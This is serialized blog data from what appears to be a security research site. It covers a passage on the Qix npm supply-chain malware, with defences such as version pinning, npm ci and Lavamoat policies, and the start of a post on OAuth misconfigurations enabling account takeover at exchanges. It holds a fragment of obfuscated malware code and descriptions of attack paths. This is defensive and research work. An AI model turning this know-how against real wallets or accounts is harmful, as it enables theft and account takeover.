41,"props":97334,"children":97335},{"class":143,"line":2459},[97336,97340,97344,97348,97352,97356,97360,97364,97368],{"type":23,"tag":141,"props":97337,"children":97338},{"style":750},[97339],{"type":29,"value":97281},{"type":23,"tag":141,"props":97341,"children":97342},{"style":154},[97343],{"type":29,"value":322},{"type":23,"tag":141,"props":97345,"children":97346},{"style":750},[97347],{"type":29,"value":96767},{"type":23,"tag":141,"props":97349,"children":97350},{"style":154},[97351],{"type":29,"value":2399},{"type":23,"tag":141,"props":97353,"children":97354},{"style":472},[97355],{"type":29,"value":2698},{"type":23,"tag":141,"props":97357,"children":97358},{"style":154},[97359],{"type":29,"value":7337},{"type":23,"tag":141,"props":97361,"children":97362},{"style":160},[97363],{"type":29,"value":1377},{"type":23,"tag":141,"props":97365,"children":97366},{"style":750},[97367],{"type":29,"value":97202},{"type":23,"tag":141,"props":97369,"children":97370},{"style":154},[97371],{"type":29,"value":1684},{"type":23,"tag":141,"props":97373,"children":97374},{"class":143,"line":2467},[97375],{"type":23,"tag":141,"props":97376,"children":97377},{"style":154},[97378],{"type":29,"value":11343},{"type":23,"tag":141,"props":97380,"children":97381},{"class":143,"line":2499},[97382,97386,97390,97394,97399],{"type":23,"tag":141,"props":97383,"children":97384},{"style":154},[97385],{"type":29,"value":14455},{"type":23,"tag":141,"props":97387,"children":97388},{"style":148},[97389],{"type":29,"value":46889},{"type":23,"tag":141,"props":97391,"children":97392},{"style":154},[97393],{"type":29,"value":1220},{"type":23,"tag":141,"props":97395,"children":97396},{"style":750},[97397],{"type":29,"value":97398},"_0x4b99fd",{"type":23,"tag":141,"props":97400,"children":97401},{"style":154},[97402],{"type":29,"value":96928},{"type":23,"tag":141,"props":97404,"children":97405},{"class":143,"line":2507},[97406],{"type":23,"tag":141,"props":97407,"children":97408},{"style":154},[97409],{"type":29,"value":854},{"type":23,"tag":141,"props":97411,"children":97412},{"class":143,"line":2567},[97413],{"type":23,"tag":141,"props":97414,"children":97415},{"style":154},[97416],{"type":29,"value":2573},{"type":23,"tag":8287,"props":97418,"children":97420},{"id":97419},"impact-of-the-attack",[97421],{"type":29,"value":97422},"Impact of the Attack",{"type":23,"tag":32,"props":97424,"children":97425},{},[97426],{"type":29,"value":97427},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":24,"props":97429,"children":97431},{"id":97430},"why-it-will-happen-again",[97432],{"type":29,"value":97433},"Why It Will Happen Again",{"type":23,"tag":32,"props":97435,"children":97436},{},[97437],{"type":29,"value":97438},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":32,"props":97440,"children":97441},{},[97442],{"type":29,"value":97443},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":24,"props":97445,"children":97447},{"id":97446},"what-developers-can-do",[97448],{"type":29,"value":97449},"What Developers Can Do",{"type":23,"tag":32,"props":97451,"children":97452},{},[97453],{"type":29,"value":97454},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":8287,"props":97456,"children":97458},{"id":97457},"_1-version-pinning-in-packagejson",[97459,97461],{"type":29,"value":97460},"1. Version pinning in ",{"type":23,"tag":38,"props":97462,"children":97464},{"className":97463},[],[97465],{"type":29,"value":97466},"package.json",{"type":23,"tag":32,"props":97468,"children":97469},{},[97470],{"type":29,"value":97471},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":32,"props":97473,"children":97474},{},[97475,97477,97483,97485,97490,97492,97497],{"type":29,"value":97476},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":38,"props":97478,"children":97480},{"className":97479},[],[97481],{"type":29,"value":97482},"npm install",{"type":29,"value":97484},". To pin it, just make sure to remove the caret ",{"type":23,"tag":38,"props":97486,"children":97488},{"className":97487},[],[97489],{"type":29,"value":47412},{"type":29,"value":97491}," symbol before the version in ",{"type":23,"tag":38,"props":97493,"children":97495},{"className":97494},[],[97496],{"type":29,"value":97466},{"type":29,"value":114},{"type":23,"tag":131,"props":97499,"children":97501},{"code":97500,"language":32467,"meta":7,"className":32465,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[97502],{"type":23,"tag":38,"props":97503,"children":97504},{"__ignoreMap":7},[97505,97526,97547,97568],{"type":23,"tag":141,"props":97506,"children":97507},{"class":143,"line":144},[97508,97513,97517,97522],{"type":23,"tag":141,"props":97509,"children":97510},{"style":828},[97511],{"type":29,"value":97512},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":141,"props":97514,"children":97515},{"style":154},[97516],{"type":29,"value":14008},{"type":23,"tag":141,"props":97518,"children":97519},{"style":828},[97520],{"type":29,"value":97521},"\"1.23.1\"",{"type":23,"tag":141,"props":97523,"children":97524},{"style":154},[97525],{"type":29,"value":2168},{"type":23,"tag":141,"props":97527,"children":97528},{"class":143,"line":180},[97529,97534,97538,97543],{"type":23,"tag":141,"props":97530,"children":97531},{"style":828},[97532],{"type":29,"value":97533},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":141,"props":97535,"children":97536},{"style":154},[97537],{"type":29,"value":14008},{"type":23,"tag":141,"props":97539,"children":97540},{"style":828},[97541],{"type":29,"value":97542},"\"8.3.0\"",{"type":23,"tag":141,"props":97544,"children":97545},{"style":154},[97546],{"type":29,"value":2168},{"type":23,"tag":141,"props":97548,"children":97549},{"class":143,"line":205},[97550,97555,97559,97564],{"type":23,"tag":141,"props":97551,"children":97552},{"style":828},[97553],{"type":29,"value":97554},"\"@react-native-community/netinfo\"",{"type":23,"tag":141,"props":97556,"children":97557},{"style":154},[97558],{"type":29,"value":14008},{"type":23,"tag":141,"props":97560,"children":97561},{"style":828},[97562],{"type":29,"value":97563},"\"11.4.1\"",{"type":23,"tag":141,"props":97565,"children":97566},{"style":154},[97567],{"type":29,"value":2168},{"type":23,"tag":141,"props":97569,"children":97570},{"class":143,"line":218},[97571,97576,97580],{"type":23,"tag":141,"props":97572,"children":97573},{"style":828},[97574],{"type":29,"value":97575},"\"@react-native-picker/picker\"",{"type":23,"tag":141,"props":97577,"children":97578},{"style":154},[97579],{"type":29,"value":14008},{"type":23,"tag":141,"props":97581,"children":97582},{"style":828},[97583],{"type":29,"value":97584},"\"2.11.0\"\n",{"type":23,"tag":8287,"props":97586,"children":97588},{"id":97587},"_2-use-npm-ci",[97589,97591],{"type":29,"value":97590},"2. Use ",{"type":23,"tag":38,"props":97592,"children":97594},{"className":97593},[],[97595],{"type":29,"value":97596},"npm ci",{"type":23,"tag":32,"props":97598,"children":97599},{},[97600,97605,97607,97613,97615,97620],{"type":23,"tag":38,"props":97601,"children":97603},{"className":97602},[],[97604],{"type":29,"value":97596},{"type":29,"value":97606}," uses the dependency versions from ",{"type":23,"tag":38,"props":97608,"children":97610},{"className":97609},[],[97611],{"type":29,"value":97612},"package-lock.json",{"type":29,"value":97614}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":38,"props":97616,"children":97618},{"className":97617},[],[97619],{"type":29,"value":97482},{"type":29,"value":97621}," when adding a new package or updating an existing one.",{"type":23,"tag":8287,"props":97623,"children":97625},{"id":97624},"_3-implement-lavamoat",[97626,97628],{"type":29,"value":97627},"3. Implement ",{"type":23,"tag":55,"props":97629,"children":97632},{"href":97630,"rel":97631},"https://github.com/LavaMoat/LavaMoat/tree/main",[59],[97633],{"type":23,"tag":3998,"props":97634,"children":97635},{},[97636],{"type":29,"value":97637},"Lavamoat",{"type":23,"tag":32,"props":97639,"children":97640},{},[97641],{"type":29,"value":97642},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":32,"props":97644,"children":97645},{},[97646],{"type":29,"value":97647},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":131,"props":97649,"children":97651},{"code":97650,"language":32467,"meta":7,"className":32465,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[97652],{"type":23,"tag":38,"props":97653,"children":97654},{"__ignoreMap":7},[97655,97667,97679,97690,97706,97713,97720,97732,97743,97763,97779,97786,97797,97817,97833,97840,97847],{"type":23,"tag":141,"props":97656,"children":97657},{"class":143,"line":144},[97658,97663],{"type":23,"tag":141,"props":97659,"children":97660},{"style":828},[97661],{"type":29,"value":97662},"\"resources\"",{"type":23,"tag":141,"props":97664,"children":97665},{"style":154},[97666],{"type":29,"value":35493},{"type":23,"tag":141,"props":97668,"children":97669},{"class":143,"line":180},[97670,97675],{"type":23,"tag":141,"props":97671,"children":97672},{"style":750},[97673],{"type":29,"value":97674}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":141,"props":97676,"children":97677},{"style":154},[97678],{"type":29,"value":35493},{"type":23,"tag":141,"props":97680,"children":97681},{"class":143,"line":205},[97682,97686],{"type":23,"tag":141,"props":97683,"children":97684},{"style":750},[97685],{"type":29,"value":35501},{"type":23,"tag":141,"props":97687,"children":97688},{"style":154},[97689],{"type":29,"value":35493},{"type":23,"tag":141,"props":97691,"children":97692},{"class":143,"line":218},[97693,97698,97702],{"type":23,"tag":141,"props":97694,"children":97695},{"style":750},[97696],{"type":29,"value":97697}," \"TextEncoder\"",{"type":23,"tag":141,"props":97699,"children":97700},{"style":154},[97701],{"type":29,"value":14008},{"type":23,"tag":141,"props":97703,"children":97704},{"style":449},[97705],{"type":29,"value":35662},{"type":23,"tag":141,"props":97707,"children":97708},{"class":143,"line":227},[97709],{"type":23,"tag":141,"props":97710,"children":97711},{"style":154},[97712],{"type":29,"value":11343},{"type":23,"tag":141,"props":97714,"children":97715},{"class":143,"line":241},[97716],{"type":23,"tag":141,"props":97717,"children":97718},{"style":154},[97719],{"type":29,"value":24065},{"type":23,"tag":141,"props":97721,"children":97722},{"class":143,"line":262},[97723,97728],{"type":23,"tag":141,"props":97724,"children":97725},{"style":750},[97726],{"type":29,"value":97727}," \"@ethereumjs/util\"",{"type":23,"tag":141,"props":97729,"children":97730},{"style":154},[97731],{"type":29,"value":35493},{"type":23,"tag":141,"props":97733,"children":97734},{"class":143,"line":271},[97735,97739],{"type":23,"tag":141,"props":97736,"children":97737},{"style":750},[97738],{"type":29,"value":35501},{"type":23,"tag":141,"props":97740,"children":97741},{"style":154},[97742],{"type":29,"value":35493},{"type":23,"tag":141,"props":97744,"children":97745},{"class":143,"line":293},[97746,97751,97755,97759],{"type":23,"tag":141,"props":97747,"children":97748},{"style":750},[97749],{"type":29,"value":97750}," \"console.warn\"",{"type":23,"tag":141,"props":97752,"children":97753},{"style":154},[97754],{"type":29,"value":14008},{"type":23,"tag":141,"props":97756,"children":97757},{"style":449},[97758],{"type":29,"value":2670},{"type":23,"tag":141,"props":97760,"children":97761},{"style":154},[97762],{"type":29,"value":2168},{"type":23,"tag":141,"props":97764,"children":97765},{"class":143,"line":801},[97766,97771,97775],{"type":23,"tag":141,"props":97767,"children":97768},{"style":750},[97769],{"type":29,"value":97770}," \"fetch\"",{"type":23,"tag":141,"props":97772,"children":97773},{"style":154},[97774],{"type":29,"value":14008},{"type":23,"tag":141,"props":97776,"children":97777},{"style":449},[97778],{"type":29,"value":35662},{"type":23,"tag":141,"props":97780,"children":97781},{"class":143,"line":810},[97782],{"type":23,"tag":141,"props":97783,"children":97784},{"style":154},[97785],{"type":29,"value":35670},{"type":23,"tag":141,"props":97787,"children":97788},{"class":143,"line":824},[97789,97793],{"type":23,"tag":141,"props":97790,"children":97791},{"style":750},[97792],{"type":29,"value":35678},{"type":23,"tag":141,"props":97794,"children":97795},{"style":154},[97796],{"type":29,"value":35493},{"type":23,"tag":141,"props":97798,"children":97799},{"class":143,"line":839},[97800,97805,97809,97813],{"type":23,"tag":141,"props":97801,"children":97802},{"style":750},[97803],{"type":29,"value":97804}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":141,"props":97806,"children":97807},{"style":154},[97808],{"type":29,"value":14008},{"type":23,"tag":141,"props":97810,"children":97811},{"style":449},[97812],{"type":29,"value":2670},{"type":23,"tag":141,"props":97814,"children":97815},{"style":154},[97816],{"type":29,"value":2168},{"type":23,"tag":141,"props":97818,"children":97819},{"class":143,"line":848},[97820,97825,97829],{"type":23,"tag":141,"props":97821,"children":97822},{"style":750},[97823],{"type":29,"value":97824}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":141,"props":97826,"children":97827},{"style":154},[97828],{"type":29,"value":14008},{"type":23,"tag":141,"props":97830,"children":97831},{"style":449},[97832],{"type":29,"value":35662},{"type":23,"tag":141,"props":97834,"children":97835},{"class":143,"line":2304},[97836],{"type":23,"tag":141,"props":97837,"children":97838},{"style":154},[97839],{"type":29,"value":11343},{"type":23,"tag":141,"props":97841,"children":97842},{"class":143,"line":2313},[97843],{"type":23,"tag":141,"props":97844,"children":97845},{"style":154},[97846],{"type":29,"value":299},{"type":23,"tag":141,"props":97848,"children":97849},{"class":143,"line":2335},[97850],{"type":23,"tag":141,"props":97851,"children":97852},{"style":154},[97853],{"type":29,"value":2573},{"type":23,"tag":32,"props":97855,"children":97856},{},[97857,97859,97865,97867,97873,97874,97879,97881,97887,97888,97894],{"type":29,"value":97858},"In this example, it restricts the ",{"type":23,"tag":38,"props":97860,"children":97862},{"className":97861},[],[97863],{"type":29,"value":97864},"@ethereumjs/util",{"type":29,"value":97866}," package to use only ",{"type":23,"tag":38,"props":97868,"children":97870},{"className":97869},[],[97871],{"type":29,"value":97872},"console.warn",{"type":29,"value":313},{"type":23,"tag":38,"props":97875,"children":97877},{"className":97876},[],[97878],{"type":29,"value":32564},{"type":29,"value":97880}," functions, and to include only ",{"type":23,"tag":38,"props":97882,"children":97884},{"className":97883},[],[97885],{"type":29,"value":97886},"@ethereumjs/rlp",{"type":29,"value":313},{"type":23,"tag":38,"props":97889,"children":97891},{"className":97890},[],[97892],{"type":29,"value":97893},"ethereum-cryptography",{"type":29,"value":97895}," packages.",{"type":23,"tag":32,"props":97897,"children":97898},{},[97899],{"type":29,"value":97900},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":32,"props":97902,"children":97903},{},[97904,97906,97912],{"type":29,"value":97905},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":55,"props":97907,"children":97910},{"href":97908,"rel":97909},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[59],[97911],{"type":29,"value":35848},{"type":29,"value":322},{"type":23,"tag":8287,"props":97914,"children":97916},{"id":97915},"lavamoat-vs-qix-malware",[97917],{"type":29,"value":97918},"Lavamoat vs Qix Malware",{"type":23,"tag":32,"props":97920,"children":97921},{},[97922,97924,97929],{"type":29,"value":97923},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":38,"props":97925,"children":97927},{"className":97926},[],[97928],{"type":29,"value":95769},{"type":29,"value":97930},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":116,"props":97932,"children":97933},{},[97934,97946,97957,97968],{"type":23,"tag":120,"props":97935,"children":97936},{},[97937,97939,97944],{"type":29,"value":97938},"Replace ",{"type":23,"tag":38,"props":97940,"children":97942},{"className":97941},[],[97943],{"type":29,"value":32564},{"type":29,"value":97945}," function to a custom one",{"type":23,"tag":120,"props":97947,"children":97948},{},[97949,97951],{"type":29,"value":97950},"Access ",{"type":23,"tag":38,"props":97952,"children":97954},{"className":97953},[],[97955],{"type":29,"value":97956},"window.ethereum",{"type":23,"tag":120,"props":97958,"children":97959},{},[97960,97962,97967],{"type":29,"value":97961},"Call original ",{"type":23,"tag":38,"props":97963,"children":97965},{"className":97964},[],[97966],{"type":29,"value":32564},{"type":29,"value":36685},{"type":23,"tag":120,"props":97969,"children":97970},{},[97971],{"type":29,"value":97972},"Plus other actions not relevant here",{"type":23,"tag":32,"props":97974,"children":97975},{},[97976,97978,97984],{"type":29,"value":97977},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":38,"props":97979,"children":97981},{"className":97980},[],[97982],{"type":29,"value":97983},"chalk 5.6.0",{"type":29,"value":97985}," (non-malicious version) it would look like this:",{"type":23,"tag":131,"props":97987,"children":97989},{"code":97988,"language":32467,"meta":7,"className":32465,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[97990],{"type":23,"tag":38,"props":97991,"children":97992},{"__ignoreMap":7},[97993,98005,98016,98036,98052,98059],{"type":23,"tag":141,"props":97994,"children":97995},{"class":143,"line":144},[97996,98001],{"type":23,"tag":141,"props":97997,"children":97998},{"style":828},[97999],{"type":29,"value":98000},"\"chalk\"",{"type":23,"tag":141,"props":98002,"children":98003},{"style":154},[98004],{"type":29,"value":35493},{"type":23,"tag":141,"props":98006,"children":98007},{"class":143,"line":180},[98008,98012],{"type":23,"tag":141,"props":98009,"children":98010},{"style":750},[98011],{"type":29,"value":35501},{"type":23,"tag":141,"props":98013,"children":98014},{"style":154},[98015],{"type":29,"value":35493},{"type":23,"tag":141,"props":98017,"children":98018},{"class":143,"line":205},[98019,98024,98028,98032],{"type":23,"tag":141,"props":98020,"children":98021},{"style":750},[98022],{"type":29,"value":98023}," \"navigator.userAgent\"",{"type":23,"tag":141,"props":98025,"children":98026},{"style":154},[98027],{"type":29,"value":14008},{"type":23,"tag":141,"props":98029,"children":98030},{"style":449},[98031],{"type":29,"value":2670},{"type":23,"tag":141,"props":98033,"children":98034},{"style":154},[98035],{"type":29,"value":2168},{"type":23,"tag":141,"props":98037,"children":98038},{"class":143,"line":218},[98039,98044,98048],{"type":23,"tag":141,"props":98040,"children":98041},{"style":750},[98042],{"type":29,"value":98043}," \"navigator.userAgentData\"",{"type":23,"tag":141,"props":98045,"children":98046},{"style":154},[98047],{"type":29,"value":14008},{"type":23,"tag":141,"props":98049,"children":98050},{"style":449},[98051],{"type":29,"value":35662},{"type":23,"tag":141,"props":98053,"children":98054},{"class":143,"line":227},[98055],{"type":23,"tag":141,"props":98056,"children":98057},{"style":154},[98058],{"type":29,"value":11343},{"type":23,"tag":141,"props":98060,"children":98061},{"class":143,"line":241},[98062],{"type":23,"tag":141,"props":98063,"children":98064},{"style":154},[98065],{"type":29,"value":24065},{"type":23,"tag":32,"props":98067,"children":98068},{},[98069,98071,98077],{"type":29,"value":98070},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":38,"props":98072,"children":98074},{"className":98073},[],[98075],{"type":29,"value":98076},"navigator",{"type":29,"value":322},{"type":23,"tag":32,"props":98079,"children":98080},{},[98081,98083,98089],{"type":29,"value":98082},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":38,"props":98084,"children":98086},{"className":98085},[],[98087],{"type":29,"value":98088},"chalk v5.6.1",{"type":29,"value":98090}," it would fail due to insufficient permissions:",{"type":23,"tag":32,"props":98092,"children":98093},{},[98094],{"type":23,"tag":2591,"props":98095,"children":98097},{"alt":49057,"src":98096},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":32,"props":98099,"children":98100},{},[98101,98103,98108],{"type":29,"value":98102},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":38,"props":98104,"children":98106},{"className":98105},[],[98107],{"type":29,"value":32564},{"type":29,"value":24152},{"type":23,"tag":131,"props":98110,"children":98112},{"code":98111},"TypeError#1: Cannot define property fetch, object is not extensible\n",[98113],{"type":23,"tag":38,"props":98114,"children":98115},{"__ignoreMap":7},[98116],{"type":29,"value":98111},{"type":23,"tag":24,"props":98118,"children":98120},{"id":98119},"lavamoat-in-practice",[98121],{"type":29,"value":98122},"Lavamoat In Practice",{"type":23,"tag":32,"props":98124,"children":98125},{},[98126,98128,98135],{"type":29,"value":98127},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":55,"props":98129,"children":98132},{"href":98130,"rel":98131},"https://osec.io/reports/lavamoat_audit_final.pdf",[59],[98133],{"type":29,"value":98134},"see the audit report",{"type":29,"value":19414},{"type":23,"tag":32,"props":98137,"children":98138},{},[98139],{"type":29,"value":98140},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":24,"props":98142,"children":98143},{"id":74282},[98144],{"type":29,"value":74285},{"type":23,"tag":32,"props":98146,"children":98147},{},[98148],{"type":29,"value":98149},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":32,"props":98151,"children":98152},{},[98153,98155,98160],{"type":29,"value":98154},"Version pinning and ",{"type":23,"tag":38,"props":98156,"children":98158},{"className":98157},[],[98159],{"type":29,"value":97596},{"type":29,"value":98161}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":1508,"props":98163,"children":98164},{},[98165],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":98167},[98168,98171,98172,98181,98182],{"id":95784,"depth":180,"text":95787,"children":98169},[98170],{"id":97419,"depth":205,"text":97422},{"id":97430,"depth":180,"text":97433},{"id":97446,"depth":180,"text":97449,"children":98173},[98174,98176,98178,98180],{"id":97457,"depth":205,"text":98175},"1. Version pinning in package.json",{"id":97587,"depth":205,"text":98177},"2. Use npm ci",{"id":97624,"depth":205,"text":98179},"3. Implement Lavamoat",{"id":97915,"depth":205,"text":97918},{"id":98119,"depth":180,"text":98122},{"id":74282,"depth":180,"text":74285},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":98187,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98188,"description":98189,"date":98190,"author":98191,"image":98192,"isFeatured":15,"onBlogPage":15,"tags":98194,"body":98197,"_type":1522,"_id":100528,"_source":1524,"_file":100529,"_stem":100530,"_extension":1527},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[29669,29668],{"src":98193,"width":95753,"height":13},"/posts/oauth-misconfigurations/title.png",[98195,98196],"oAuth","exchanges",{"type":20,"children":98198,"toc":100515},[98199,98205,98210,98216,98236,98242,98247,98260,98265,98273,98287,98296,98305,98319,98327,98338,98398,98404,98416,98465,98471,98476,98489,98496,98507,98527,98546,98567,98573,98586,98591,98597,98616,99241,99246,99259,100120,100125,100130,100136,100141,100147,100152,100165,100205,100211,100224,100229,100262,100267,100272,100297,100302,100314,100471,100476,100480,100492,100497,100501,100506,100511],{"type":23,"tag":24,"props":98200,"children":98202},{"id":98201},"exploiting-oauth",[98203],{"type":29,"value":98204},"Exploiting OAuth",{"type":23,"tag":32,"props":98206,"children":98207},{},[98208],{"type":29,"value":98209},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":8287,"props":98211,"children":98213},{"id":98212},"google-authentication-flows",[98214],{"type":29,"value":98215},"Google Authentication Flows",{"type":23,"tag":32,"props":98217,"children":98218},{},[98219,98221,98227,98229,98234],{"type":29,"value":98220},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":38,"props":98222,"children":98224},{"className":98223},[],[98225],{"type":29,"value":98226},"postMessage",{"type":29,"value":98228}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":38,"props":98230,"children":98232},{"className":98231},[],[98233],{"type":29,"value":68248},{"type":29,"value":98235}," to send the token back to the RP.",{"type":23,"tag":17563,"props":98237,"children":98239},{"id":98238},"gsi-new-flow",[98240],{"type":29,"value":98241},"GSI (New Flow)",{"type":23,"tag":32,"props":98243,"children":98244},{},[98245],{"type":29,"value":98246},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":15362,"props":98248,"children":98249},{},[98250,98255],{"type":23,"tag":120,"props":98251,"children":98252},{},[98253],{"type":29,"value":98254},"Using FedCM API",{"type":23,"tag":120,"props":98256,"children":98257},{},[98258],{"type":29,"value":98259},"Without using FedCM API",{"type":23,"tag":32,"props":98261,"children":98262},{},[98263],{"type":29,"value":98264},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":32,"props":98266,"children":98267},{},[98268],{"type":23,"tag":3998,"props":98269,"children":98270},{},[98271],{"type":29,"value":98272},"FedCM Method",{"type":23,"tag":32,"props":98274,"children":98275},{},[98276,98278,98285],{"type":29,"value":98277},"The FedCM method basically follows this ",{"type":23,"tag":55,"props":98279,"children":98282},{"href":98280,"rel":98281},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[59],[98283],{"type":29,"value":98284},"user experience",{"type":29,"value":98286},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":32,"props":98288,"children":98289},{},[98290,98292],{"type":29,"value":98291},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":2591,"props":98293,"children":98295},{"alt":49057,"src":98294},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":32,"props":98297,"children":98298},{},[98299,98301],{"type":29,"value":98300},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":2591,"props":98302,"children":98304},{"alt":49057,"src":98303},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":32,"props":98306,"children":98307},{},[98308,98310,98317],{"type":29,"value":98309},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":55,"props":98311,"children":98314},{"href":98312,"rel":98313},"https://github.com/w3c-fedid/FedCM/issues/429",[59],[98315],{"type":29,"value":98316},"FedCM auto-reauthentication",{"type":29,"value":98318},", which has certain preconditions that must be met.",{"type":23,"tag":32,"props":98320,"children":98321},{},[98322],{"type":23,"tag":3998,"props":98323,"children":98324},{},[98325],{"type":29,"value":98326},"Non-FedCM Method",{"type":23,"tag":32,"props":98328,"children":98329},{},[98330,98332,98337],{"type":29,"value":98331},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":38,"props":98333,"children":98335},{"className":98334},[],[98336],{"type":29,"value":98226},{"type":29,"value":114},{"type":23,"tag":116,"props":98339,"children":98340},{},[98341,98346,98370,98375,98386],{"type":23,"tag":120,"props":98342,"children":98343},{},[98344],{"type":29,"value":98345},"The user clicks the sign in button",{"type":23,"tag":120,"props":98347,"children":98348},{},[98349,98351,98357,98359,98364,98365],{"type":29,"value":98350},"RP opens a popup/iframe to ",{"type":23,"tag":55,"props":98352,"children":98355},{"href":98353,"rel":98354},"https://accounts.google.com/o/oauth2/v2/auth",[59],[98356],{"type":29,"value":98353},{"type":29,"value":98358}," with some important parameters like ",{"type":23,"tag":38,"props":98360,"children":98362},{"className":98361},[],[98363],{"type":29,"value":68080},{"type":29,"value":313},{"type":23,"tag":38,"props":98366,"children":98368},{"className":98367},[],[98369],{"type":29,"value":38607},{"type":23,"tag":120,"props":98371,"children":98372},{},[98373],{"type":29,"value":98374},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":120,"props":98376,"children":98377},{},[98378,98380],{"type":29,"value":98379},"They get redirected to ",{"type":23,"tag":55,"props":98381,"children":98384},{"href":98382,"rel":98383},"https://accounts.google.com/gsi/transform",[59],[98385],{"type":29,"value":98382},{"type":23,"tag":120,"props":98387,"children":98388},{},[98389,98391,98396],{"type":29,"value":98390},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":38,"props":98392,"children":98394},{"className":98393},[],[98395],{"type":29,"value":98226},{"type":29,"value":98397}," (after some SYN/ACK messages)",{"type":23,"tag":17563,"props":98399,"children":98401},{"id":98400},"oauth-20-old-flow",[98402],{"type":29,"value":98403},"OAuth 2.0 Old 